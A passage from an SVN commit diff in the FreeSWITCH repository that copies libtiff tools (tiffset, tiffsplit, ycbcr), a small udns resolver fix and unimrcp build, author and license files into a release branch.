+                                case TIFF_SRATIONAL:
+                                    size = 4;
+                                    break;
+
+                                case TIFF_DOUBLE:
+                                    size = 8;
+                                    break;
+                        }
+
+                        array = _TIFFmalloc(wc * size);
+                        if (!array) {
+                                fprintf(stderr, "No space for %s tag\n",
+                                        tagname);
+                                return 4;
+                        }
+
+                        switch (fip->field_type) {
+                            case TIFF_BYTE:
+                                for (i = 0; i < wc; i++)
+                                    ((uint8 *)array)[i] = atoi(argv[arg_index+i]);
+                                break;
+                            case TIFF_SHORT:
+                                for (i = 0; i < wc; i++)
+                                    ((uint16 *)array)[i] = atoi(argv[arg_index+i]);
+                                break;
+                            case TIFF_SBYTE:
+                                for (i = 0; i < wc; i++)
+                                    ((int8 *)array)[i] = atoi(argv[arg_index+i]);
+                                break;
+                            case TIFF_SSHORT:
+                                for (i = 0; i < wc; i++)
+                                    ((int16 *)array)[i] = atoi(argv[arg_index+i]);
+                                break;
+                            case TIFF_LONG:
+                                for (i = 0; i < wc; i++)
+                                    ((uint32 *)array)[i] = atol(argv[arg_index+i]);
+                                break;
+                            case TIFF_SLONG:
+                            case TIFF_IFD:
+                                for (i = 0; i < wc; i++)
+                                    ((uint32 *)array)[i] = atol(argv[arg_index+i]);
+                                break;
+                            case TIFF_DOUBLE:
+                                for (i = 0; i < wc; i++)
+                                    ((double *)array)[i] = atof(argv[arg_index+i]);
+                                break;
+                            case TIFF_RATIONAL:
+                            case TIFF_SRATIONAL:
+                            case TIFF_FLOAT:
+                                for (i = 0; i < wc; i++)
+                                    ((float *)array)[i] = (float)atof(argv[arg_index+i]);
+                                break;
+                            default:
+                                break;
+                        }
+                
+                        if (fip->field_passcount) {
+                                ret = TIFFSetField(tiff, fip->field_tag,
+                                                   wc, array);
+                        } else {
+                                ret = TIFFSetField(tiff, fip->field_tag,
+                                                   array);
+                        }
+
+                        _TIFFfree(array);
+                } else {
+                        switch (fip->field_type) {
+                            case TIFF_BYTE:
+                            case TIFF_SHORT:
+                            case TIFF_SBYTE:
+                            case TIFF_SSHORT:
+                                ret = TIFFSetField(tiff, fip->field_tag,
+                                                   atoi(argv[arg_index++]));
+                                break;
+                            case TIFF_LONG:
+                            case TIFF_SLONG:
+                            case TIFF_IFD:
+                                ret = TIFFSetField(tiff, fip->field_tag,
+                                                   atol(argv[arg_index++]));
+                                break;
+                            case TIFF_DOUBLE:
+                                ret = TIFFSetField(tiff, fip->field_tag,
+                                                   atof(argv[arg_index++]));
+                                break;
+                            case TIFF_RATIONAL:
+                            case TIFF_SRATIONAL:
+                            case TIFF_FLOAT:
+                                ret = TIFFSetField(tiff, fip->field_tag,
+                                                   (float)atof(argv[arg_index++]));
+                                break;
+                            default:
+                                break;
+                        }
+                }
+
+                if (ret != 1)
+                    fprintf(stderr, "Failed to set %s\n", fip->field_name);
+                arg_index += wc;
+            }
+        } else if (strcmp(argv[arg_index],"-sf") == 0 && arg_index < argc-3) {
+            FILE    *fp;
+            const TIFFFieldInfo *fip;
+            char    *text;
+            int     len;
+
+            arg_index++;
+            fip = GetField(tiff, argv[arg_index]);
+
+            if (!fip)
+                return 3;
+
+            if (fip->field_type != TIFF_ASCII) {
+                fprintf( stderr,
+                         "Only ASCII tags can be set from file. "
+                         "%s is not ASCII tag.\n", fip->field_name );
+                return 5;
+            }
+
+            arg_index++;
+            fp = fopen( argv[arg_index], "rt" );
+            if(fp == NULL) {
+                perror( argv[arg_index] );
+                continue;
+            }
+
+            text = (char *) malloc(1000000);
+            len = fread( text, 1, 999999, fp );
+            text[len] = '\0';
+
+            fclose( fp );
+
+            if(TIFFSetField( tiff, fip->field_tag, text ) != 1) {
+                fprintf(stderr, "Failed to set %s from file %s\n", 
+                        fip->field_name, argv[arg_index]);
+            }
+
+            _TIFFfree( text );
+            arg_index++;
+        } else {
+            fprintf(stderr, "Unrecognised option: %s\n",
+                    argv[arg_index]);
+            usage();
+        }
+    }
+
+    TIFFRewriteDirectory(tiff);
+    TIFFClose(tiff);
+    return 0;
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffsplit.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffsplit.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/tiffsplit.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffsplit.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffsplit.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,276 @@
+/* $Id: tiffsplit.c,v 1.14 2005/12/06 22:18:13 dron Exp $ */
+
+/*
+ * Copyright (c) 1992-1997 Sam Leffler
+ * Copyright (c) 1992-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include "tiffio.h"
+
+#ifndef HAVE_GETOPT
+extern int getopt(int, char**, char*);
+#endif
+
+#define	CopyField(tag, v) \
+    if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v)
+#define	CopyField2(tag, v1, v2) \
+    if (TIFFGetField(in, tag, &v1, &v2)) TIFFSetField(out, tag, v1, v2)
+#define	CopyField3(tag, v1, v2, v3) \
+    if (TIFFGetField(in, tag, &v1, &v2, &v3)) TIFFSetField(out, tag, v1, v2, v3)
+
+static	char fname[1024+1];
+
+static	int tiffcp(TIFF*, TIFF*);
+static	void newfilename(void);
+static	int cpStrips(TIFF*, TIFF*);
+static	int cpTiles(TIFF*, TIFF*);
+
+int
+main(int argc, char* argv[])
+{
+	TIFF *in, *out;
+
+	if (argc < 2) {
+                fprintf(stderr, "%s\n\n", TIFFGetVersion());
+		fprintf(stderr, "usage: tiffsplit input.tif [prefix]\n");
+		return (-3);
+	}
+	if (argc > 2)
+		strcpy(fname, argv[2]);
+	in = TIFFOpen(argv[1], "r");
+	if (in != NULL) {
+		do {
+			char path[1024+1];
+			newfilename();
+			strcpy(path, fname);
+			strcat(path, ".tif");
+			out = TIFFOpen(path, TIFFIsBigEndian(in)?"wb":"wl");
+			if (out == NULL)
+				return (-2);
+			if (!tiffcp(in, out))
+				return (-1);
+			TIFFClose(out);
+		} while (TIFFReadDirectory(in));
+		(void) TIFFClose(in);
+	}
+	return (0);
+}
+
+static void
+newfilename(void)
+{
+	static int first = 1;
+	static long lastTurn;
+	static long fnum;
+	static short defname;
+	static char *fpnt;
+
+	if (first) {
+		if (fname[0]) {
+			fpnt = fname + strlen(fname);
+			defname = 0;
+		} else {
+			fname[0] = 'x';
+			fpnt = fname + 1;
+			defname = 1;
+		}
+		first = 0;
+	}
+#define	MAXFILES	17576
+	if (fnum == MAXFILES) {
+		if (!defname || fname[0] == 'z') {
+			fprintf(stderr, "tiffsplit: too many files.\n");
+			exit(1);
+		}
+		fname[0]++;
+		fnum = 0;
+	}
+	if (fnum % 676 == 0) {
+		if (fnum != 0) {
+			/*
+                         * advance to next letter every 676 pages
+			 * condition for 'z'++ will be covered above
+                         */
+			fpnt[0]++;
+		} else {
+			/*
+                         * set to 'a' if we are on the very first file
+                         */
+			fpnt[0] = 'a';
+		}
+		/*
+                 * set the value of the last turning point
+                 */
+		lastTurn = fnum;
+	}
+	/* 
+         * start from 0 every 676 times (provided by lastTurn)
+         * this keeps us within a-z boundaries
+         */
+	fpnt[1] = (char)((fnum - lastTurn) / 26) + 'a';
+	/* 
+         * cycle last letter every file, from a-z, then repeat
+         */
+	fpnt[2] = (char)(fnum % 26) + 'a';
+	fnum++;
+}
+
+static int
+tiffcp(TIFF* in, TIFF* out)
+{
+	uint16 bitspersample, samplesperpixel, compression, shortv, *shortav;
+	uint32 w, l;
+	float floatv;
+	char *stringv;
+	uint32 longv;
+
+	CopyField(TIFFTAG_SUBFILETYPE, longv);
+	CopyField(TIFFTAG_TILEWIDTH, w);
+	CopyField(TIFFTAG_TILELENGTH, l);
+	CopyField(TIFFTAG_IMAGEWIDTH, w);
+	CopyField(TIFFTAG_IMAGELENGTH, l);
+	CopyField(TIFFTAG_BITSPERSAMPLE, bitspersample);
+	CopyField(TIFFTAG_SAMPLESPERPIXEL, samplesperpixel);
+	CopyField(TIFFTAG_COMPRESSION, compression);
+	if (compression == COMPRESSION_JPEG) {
+		uint16 count = 0;
+		void *table = NULL;
+		if (TIFFGetField(in, TIFFTAG_JPEGTABLES, &count, &table)
+		    && count > 0 && table) {
+		    TIFFSetField(out, TIFFTAG_JPEGTABLES, count, table);
+		}
+	}
+        CopyField(TIFFTAG_PHOTOMETRIC, shortv);
+	CopyField(TIFFTAG_PREDICTOR, shortv);
+	CopyField(TIFFTAG_THRESHHOLDING, shortv);
+	CopyField(TIFFTAG_FILLORDER, shortv);
+	CopyField(TIFFTAG_ORIENTATION, shortv);
+	CopyField(TIFFTAG_MINSAMPLEVALUE, shortv);
+	CopyField(TIFFTAG_MAXSAMPLEVALUE, shortv);
+	CopyField(TIFFTAG_XRESOLUTION, floatv);
+	CopyField(TIFFTAG_YRESOLUTION, floatv);
+	CopyField(TIFFTAG_GROUP3OPTIONS, longv);
+	CopyField(TIFFTAG_GROUP4OPTIONS, longv);
+	CopyField(TIFFTAG_RESOLUTIONUNIT, shortv);
+	CopyField(TIFFTAG_PLANARCONFIG, shortv);
+	CopyField(TIFFTAG_ROWSPERSTRIP, longv);
+	CopyField(TIFFTAG_XPOSITION, floatv);
+	CopyField(TIFFTAG_YPOSITION, floatv);
+	CopyField(TIFFTAG_IMAGEDEPTH, longv);
+	CopyField(TIFFTAG_TILEDEPTH, longv);
+	CopyField(TIFFTAG_SAMPLEFORMAT, longv);
+	CopyField2(TIFFTAG_EXTRASAMPLES, shortv, shortav);
+	{ uint16 *red, *green, *blue;
+	  CopyField3(TIFFTAG_COLORMAP, red, green, blue);
+	}
+	{ uint16 shortv2;
+	  CopyField2(TIFFTAG_PAGENUMBER, shortv, shortv2);
+	}
+	CopyField(TIFFTAG_ARTIST, stringv);
+	CopyField(TIFFTAG_IMAGEDESCRIPTION, stringv);
+	CopyField(TIFFTAG_MAKE, stringv);
+	CopyField(TIFFTAG_MODEL, stringv);
+	CopyField(TIFFTAG_SOFTWARE, stringv);
+	CopyField(TIFFTAG_DATETIME, stringv);
+	CopyField(TIFFTAG_HOSTCOMPUTER, stringv);
+	CopyField(TIFFTAG_PAGENAME, stringv);
+	CopyField(TIFFTAG_DOCUMENTNAME, stringv);
+	CopyField(TIFFTAG_BADFAXLINES, longv);
+	CopyField(TIFFTAG_CLEANFAXDATA, longv);
+	CopyField(TIFFTAG_CONSECUTIVEBADFAXLINES, longv);
+	CopyField(TIFFTAG_FAXRECVPARAMS, longv);
+	CopyField(TIFFTAG_FAXRECVTIME, longv);
+	CopyField(TIFFTAG_FAXSUBADDRESS, stringv);
+	CopyField(TIFFTAG_FAXDCS, stringv);
+	if (TIFFIsTiled(in))
+		return (cpTiles(in, out));
+	else
+		return (cpStrips(in, out));
+}
+
+static int
+cpStrips(TIFF* in, TIFF* out)
+{
+	tsize_t bufsize  = TIFFStripSize(in);
+	unsigned char *buf = (unsigned char *)_TIFFmalloc(bufsize);
+
+	if (buf) {
+		tstrip_t s, ns = TIFFNumberOfStrips(in);
+		uint32 *bytecounts;
+
+		TIFFGetField(in, TIFFTAG_STRIPBYTECOUNTS, &bytecounts);
+		for (s = 0; s < ns; s++) {
+			if (bytecounts[s] > (uint32)bufsize) {
+				buf = (unsigned char *)_TIFFrealloc(buf, bytecounts[s]);
+				if (!buf)
+					return (0);
+				bufsize = bytecounts[s];
+			}
+			if (TIFFReadRawStrip(in, s, buf, bytecounts[s]) < 0 ||
+			    TIFFWriteRawStrip(out, s, buf, bytecounts[s]) < 0) {
+				_TIFFfree(buf);
+				return (0);
+			}
+		}
+		_TIFFfree(buf);
+		return (1);
+	}
+	return (0);
+}
+
+static int
+cpTiles(TIFF* in, TIFF* out)
+{
+	tsize_t bufsize = TIFFTileSize(in);
+	unsigned char *buf = (unsigned char *)_TIFFmalloc(bufsize);
+
+	if (buf) {
+		ttile_t t, nt = TIFFNumberOfTiles(in);
+		uint32 *bytecounts;
+
+		TIFFGetField(in, TIFFTAG_TILEBYTECOUNTS, &bytecounts);
+		for (t = 0; t < nt; t++) {
+			if (bytecounts[t] > (uint32) bufsize) {
+				buf = (unsigned char *)_TIFFrealloc(buf, bytecounts[t]);
+				if (!buf)
+					return (0);
+				bufsize = bytecounts[t];
+			}
+			if (TIFFReadRawTile(in, t, buf, bytecounts[t]) < 0 ||
+			    TIFFWriteRawTile(out, t, buf, bytecounts[t]) < 0) {
+				_TIFFfree(buf);
+				return (0);
+			}
+		}
+		_TIFFfree(buf);
+		return (1);
+	}
+	return (0);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/ycbcr.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/ycbcr.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/ycbcr.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/ycbcr.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/ycbcr.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,161 @@
+float	ycbcrCoeffs[3] = { .299, .587, .114 };
+/* default coding range is CCIR Rec 601-1 with no headroom/footroom */
+unsigned long refBlackWhite[6] = { 0, 255, 128, 255, 128, 255 };
+
+#define	LumaRed		ycbcrCoeffs[0]
+#define	LumaGreen	ycbcrCoeffs[1]
+#define	LumaBlue	ycbcrCoeffs[2]
+
+long	eRtotal = 0;
+long	eGtotal = 0;
+long	eBtotal = 0;
+long	preveRtotal = 0;
+long	preveGtotal = 0;
+long	preveBtotal = 0;
+unsigned long AbseRtotal = 0;
+unsigned long AbseGtotal = 0;
+unsigned long AbseBtotal = 0;
+unsigned long eCodes = 0;
+unsigned long preveCodes = 0;
+unsigned long eBits = 0;
+unsigned long preveBits = 0;
+
+static	void setupLumaTables();
+static int abs(int v) { return (v < 0 ? -v : v); }
+static double pct(int v,double range) { return (v*100. / range); }
+static void check(int R, int G, int B);
+
+float	D1, D2;
+float	D3, D4;
+float	D5, D6;
+
+int
+main(int argc, char** argv)
+{
+    int R, G, B;
+
+    if (argc > 1) {
+	refBlackWhite[0] = 16;
+	refBlackWhite[1] = 235;
+	refBlackWhite[2] = 128;
+	refBlackWhite[3] = 240;
+	refBlackWhite[4] = 128;
+	refBlackWhite[5] = 240;
+    }
+    D3 = 2 - 2*LumaRed;
+    D4 = 2 - 2*LumaBlue;
+    D1 = 1. / D3;
+    D2 = 1. / D4;
+    D5 = D3*LumaRed / LumaGreen;
+    D6 = D4*LumaBlue / LumaGreen;
+    setupLumaTables();
+    for (R = 0; R < 256; R++) {
+	for (G = 0; G < 256; G++)
+	    for (B = 0; B < 256; B++)
+		check(R, G, B);
+	printf("[%3u] c %u/%u b %u/%u (R %u/%d/%u G %u/%d/%u B %u/%d/%u)\n"
+	    , R
+	    , eCodes - preveCodes, eCodes
+	    , eBits - preveBits, eBits
+	    , abs(AbseRtotal - preveRtotal), eRtotal , AbseRtotal
+	    , abs(AbseGtotal - preveGtotal), eGtotal , AbseGtotal
+	    , abs(AbseBtotal - preveBtotal), eBtotal , AbseBtotal
+	);
+	preveRtotal = AbseRtotal;
+	preveGtotal = AbseGtotal;
+	preveBtotal = AbseBtotal;
+	preveCodes = eCodes;
+	preveBits = eBits;
+    }
+    printf("%u total codes\n", 256*256*256);
+    printf("total error: %u codes %u bits (R %d/%u G %d/%u B %d/%u)\n"
+	, eCodes
+	, eBits
+	, eRtotal , AbseRtotal
+	, eGtotal , AbseGtotal
+	, eBtotal , AbseBtotal
+    );
+    return (0);
+}
+
+float	*lumaRed;
+float	*lumaGreen;
+float	*lumaBlue;
+
+static float*
+setupLuma(float c)
+{
+    float *v = (float *)_TIFFmalloc(256 * sizeof (float));
+    int i;
+    for (i = 0; i < 256; i++)
+	v[i] = c * i;
+    return (v);
+}
+
+static void
+setupLumaTables(void)
+{
+    lumaRed = setupLuma(LumaRed);
+    lumaGreen = setupLuma(LumaGreen);
+    lumaBlue = setupLuma(LumaBlue);
+}
+
+static unsigned
+V2Code(float f, unsigned long RB, unsigned long RW, int CR)
+{
+    unsigned int c = (unsigned int)((((f)*(RW-RB)/CR)+RB)+.5);
+    return (c > 255 ? 255 : c);
+}
+
+#define	Code2V(c, RB, RW, CR)	((((c)-(int)RB)*(float)CR)/(float)(RW-RB))
+
+#define	CLAMP(f,min,max) \
+    (int)((f)+.5 < (min) ? (min) : (f)+.5 > (max) ? (max) : (f)+.5)
+
+static
+void
+check(int R, int G, int B)
+{
+    float Y, Cb, Cr;
+    int iY, iCb, iCr;
+    float rY, rCb, rCr;
+    float rR, rG, rB;
+    int eR, eG, eB;
+
+    Y = lumaRed[R] + lumaGreen[G] + lumaBlue[B];
+    Cb = (B - Y)*D2;
+    Cr = (R - Y)*D1;
+    iY = V2Code(Y, refBlackWhite[0], refBlackWhite[1], 255);
+    iCb = V2Code(Cb, refBlackWhite[2], refBlackWhite[3], 127);
+    iCr = V2Code(Cr, refBlackWhite[4], refBlackWhite[5], 127);
+    rCb = Code2V(iCb, refBlackWhite[2], refBlackWhite[3], 127);
+    rCr = Code2V(iCr, refBlackWhite[4], refBlackWhite[5], 127);
+    rY = Code2V(iY, refBlackWhite[0], refBlackWhite[1], 255);
+    rR = rY + rCr*D3;
+    rB = rY + rCb*D4;
+    rG = rY - rCb*D6 - rCr*D5;
+    eR = R - CLAMP(rR,0,255);
+    eG = G - CLAMP(rG,0,255);
+    eB = B - CLAMP(rB,0,255);
+    if (abs(eR) > 1 || abs(eG) > 1 || abs(eB) > 1) {
+	printf("R %u G %u B %u", R, G, B);
+	printf(" Y %g Cb %g Cr %g", Y, Cb, Cr);
+	printf(" iY %u iCb %u iCr %u", iY, iCb, iCr);
+	printf("\n -> Y %g Cb %g Cr %g", rY, rCb, rCr);
+	printf(" R %g (%u) G %g (%u) B %g (%u) E=[%d %d %d])\n"
+	    , rR, CLAMP(rR,0,255)
+	    , rG, CLAMP(rG,0,255)
+	    , rB, CLAMP(rB,0,255)
+	    , eR, eG, eB
+	);
+    }
+    eRtotal += eR;
+    eGtotal += eG;
+    eBtotal += eB;
+    AbseRtotal += abs(eR);
+    AbseGtotal += abs(eG);
+    AbseBtotal += abs(eB);
+    if (eR | eG | eB)
+	eCodes++;
+    eBits += abs(eR) + abs(eG) + abs(eB);
+}

Modified: freeswitch/branches/seven/libs/udns/udns_resolver.c (14471 => 14472)


--- freeswitch/branches/seven/libs/udns/udns_resolver.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/udns/udns_resolver.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -739,7 +739,7 @@
       sns = &ctx->dnsc_serv[i];
       if (sns->sa.sa_family == AF_INET) {
         sin6.sin6_port = sns->sin.sin_port;
-        ((struct in_addr*)&sin6.sin6_addr)[3] = sns->sin.sin_addr;
+        memcpy(&sin6.sin6_addr.s6_addr[12], &sns->sin.sin_addr, sizeof(struct in_addr));
         sns->sin6 = sin6;
       }
     }

Copied: freeswitch/branches/seven/libs/unimrcp (from rev 14471, freeswitch/trunk/libs/unimrcp)

Property changes: freeswitch/branches/seven/libs/unimrcp


Name: svn:ignore
   + .git
configure
Makefile.in
config.log
Makefile
config.status
autom4te.cache
libtool
aclocal.m4
unimrcp.ncb
*.suo
*.XML

Deleted: freeswitch/branches/seven/libs/unimrcp/.gitignore

Copied: freeswitch/branches/seven/libs/unimrcp/.gitignore (from rev 14471, freeswitch/trunk/libs/unimrcp/.gitignore) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/.gitignore	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/.gitignore	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+.svn
+.gitignore
+.update
+configure.gnu

Deleted: freeswitch/branches/seven/libs/unimrcp/.update

Copied: freeswitch/branches/seven/libs/unimrcp/.update (from rev 14471, freeswitch/trunk/libs/unimrcp/.update) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/.update	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/.update	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+Wed Jul 15 15:29:24 CDT 2009

Deleted: freeswitch/branches/seven/libs/unimrcp/AUTHORS

Copied: freeswitch/branches/seven/libs/unimrcp/AUTHORS (from rev 14471, freeswitch/trunk/libs/unimrcp/AUTHORS) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/AUTHORS	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/AUTHORS	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+Author(s):
+   Arsen Chaloyan <achaloyan@gmail.com>
+
+
+Contributor(s):
+   Kamil Shakirov <kamils80@gmail.com>
+   Anthony Masse <amasse.telisma@gmail.com>
+   Vlad Socaciu <Curatica@gmail.com>
+   Garmt <garmt.noname@gmail.com>
+   Patrick <pnunes29@gmail.com>
+   Bayram <bayramboyraz@gmail.com>
+   Mahmoud Hassan <firstmahmoud2002@gmail.com>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/INSTALL

Copied: freeswitch/branches/seven/libs/unimrcp/INSTALL (from rev 14471, freeswitch/trunk/libs/unimrcp/INSTALL) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/INSTALL	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/INSTALL	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,103 @@
+BUILD REQUIREMENTS
+==================
+UniMRCP depends on a number of third party tools and libraries,
+which must be installed prior to UniMRCP build.
+
+1. Apache Portable Runtime [>=1.2.x] (http://apr.apache.org/)
+Whenever you want to build any part of UniMRCP, you need the
+Apache Portable Runtime (APR) and the APR Utility (APR-util)
+libraries.
+
+2. Sofia-SIP [>=1.12.6] (http://sofia-sip.sourceforge.net/)
+Sofia-SIP library is used to implement MRCPv2 specification
+compliant SIP signaling. Sofia-SIP is an open-source SIP User-Agent
+library, compliant with the IETF RFC3261 specification.
+
+Use the link below to download one of known to work and 
+ready to use packages of APR and Sofia-SIP libraries.
+    http://www.unimrcp.org/dependencies/
+
+
+GNU BUILD
+===================
+Additional requirements
+- autoconf 2.57 or newer
+- automake
+- libtool 1.4 or newer
+- gcc
+- pkg-config
+
+Build procedure
+$ ./bootstrap
+$ ./configure
+$ make
+$ make install
+
+Installed directory layout
+bin      - binaries (unimrcpserver, unimrcpclient)
+conf     - configuration files
+include  - header files
+libs     - shared (convenient) libraries
+plugins  - run-time loadable modules
+
+There are a couple of options to "./configure".
+To specify where to look for the APR and APR-util libraries
+use the "--with-apr=" and "--with-apr-util=" options.
+For example
+$ ./configure --with-apr=/usr/local/apr \
+              --with-apr-util=/usr/local/apr
+
+To specify  where to look for the Sofia-SIP library
+use the "--with-sofia-sip=" option. 
+For example
+$ ./configure --with-sofia-sip=/usr/local/sofia-sip
+
+To install the default configuration use
+$ make def-conf
+
+To generate doxygen documentation from the sources use
+$ make dox
+
+To build distribution tarball use
+$ make dist
+
+
+WINDOWS BUILD
+======================
+Additional requirements
+- Microsoft Visual Studio 2005
+
+One-time pre-build preparation
+You may need to adjust the paths for 3-rd party libraries
+in appropriate property sheets to match your local installation,
+while below are the defaults (build/vsprops).
+
+apr.vsprops
+	<UserMacro
+		Name="AprDir"
+		Value="$(SolutionDir)libs\apr"
+	/>
+	<UserMacro
+		Name="AprUtilDir"
+		Value="$(SolutionDir)libs\apr-util"
+	/>
+	
+sofiasip.vsprops
+	<UserMacro
+		Name="SofiaDir"
+		Value="$(SolutionDir)libs\sofia-sip"
+	/>
+
+Build procedure
+Open unimrcp.sln solution file and build the solution (Build -> Build Solution).
+
+One-time pre-run output directory preparation
+Build prepare.vcproj utility project (right click on tools -> prebuild in 
+Solution Explorer and select Build from context menu). This is a one-time 
+output directory preparation. It copies all the required APR and SofiaSIP 
+libraries and the default configuration to the output directory. 
+
+Output directory layout
+bin      - binaries (unimrcpserver, unimrcpclient) and all the required dlls
+conf     - configuration files
+plugins  - run-time loadable modules
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/LICENSE

Copied: freeswitch/branches/seven/libs/unimrcp/LICENSE (from rev 14471, freeswitch/trunk/libs/unimrcp/LICENSE) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/LICENSE	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/LICENSE	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,202 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
